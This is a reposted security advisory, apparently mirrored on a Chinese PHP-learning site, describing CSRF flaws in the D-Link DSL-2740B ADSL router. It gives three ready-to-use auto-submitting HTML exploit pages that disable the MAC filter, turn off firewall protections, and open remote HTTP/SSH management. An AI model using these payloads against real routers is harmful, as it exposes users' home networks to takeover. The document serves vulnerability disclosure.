网站地图    收藏   

主页 > 后端 > 网站安全 >

D-Link DSL-2740B 多个CSRF缺陷 - 网站安全 - 自学php

来源:自学PHP网    时间:2015-04-17 10:15 作者: 阅读:

[导读] +----------+# 标题 : D-Link DSL-2740B (ADSL Router) CSRF Vulnerability# 作者 : Ivano Binetti (http://ivanobinetti.com)# 官网 : http://www.d-link.com# 影响版本 : DSL-2740B # 测......

+----------+
# 标题  : D-Link DSL-2740B (ADSL Router) CSRF Vulnerability
# 作者     : Ivano Binetti (http://ivanobinetti.com)
# 官网  : http://www.d-link.com
# 影响版本     : DSL-2740B 
# 测试平台   : Firmware Version: EU_1.00 (Other release could be affected)

摘要
 
1)介绍
2)缺陷描述
3)利用
 3.1 Disable/Enable Wireless MAc Address Filter
 3.2 Disable/Enable all the Firewall protections (Both "SPI" and "DOS and Portscan Protection")
 3.3 Enable/Disable Remote Management (in my exploit I enabled remote management via http - tcp port 80 - and ssh - tcp port 22 -)
+-----------------------------
 
1) 概述
 
D-Link DSL-2740B is an ADSL Router using, also,  a web management interface in order to set and change device parameters.
 
 
2) 问题描述
 
The D-Link DSL-2640B's web interface (listening on tcp/ip port 80) is prone to CSRF vulnerabilities which allows to change router 
parameters and to perform many modifications to the router's parameters. The default ip adress of this adsl router, used for
management purpose, is 192.168.1.1.
In my Advisory I'll describe only how to carry out the following changes:
- Disable/Enable Wireless MAc Address Filter
- Disable/Enable all the Firewall protections (Both "SPI" and "DOS and Portscan Protection")
- Enable/Disable Remote Management (in my exploit I enabled remote management via http - tcp port 80 - and ssh - tcp port 22 -).
Many other changes can be performed.
 
3) 测试
 3.1 Disable/Enable Wireless MAc Address Filter
 <html>
 <body onload="javascript:document.forms[0].submit()">
 <H2>CSRF Exploit</H2>
 <form method="POST" name="form0" action="http://192.168.1.1:80/wlmacflt.cmd?action=wlFltMode&wlFltMacMode=disabled">
 </body>
 </html>
 
 3.2 Disable/Enable all the Firewall protections (Both "SPI" and "DOS and Portscan Protection")
 <html>
 <body onload="javascript:document.forms[0].submit()">
 <H2></H2>
 <form method="POST" name="form0" action="http://192.168.1.1:80/scdmz.cmd?&fwFlag=521472&dosenbl=0">
 </body>
 </html>
 
 3.3 Enable/Disable Remote Management (in my exploit I enabled remote management via http - tcp port 80 - and ssh - tcp port 22 -)
 <html>
 <body onload="javascript:document.forms[0].submit()">
 <H2></H2>
 <form method="POST" name="form0" action="http://192.168.1.1:80/scsrvcntr.cmd?action=save&rmtmode=1&rmtport=80&rmtaction=allowall&
 ftp=0&http=2&icmp=2&snmp=2&tftp=0&ssh=1&telnet=0">
 </body>
 </html>

 

自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习

京ICP备14009008号-1@版权所有www.zixuephp.com

网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com

添加评论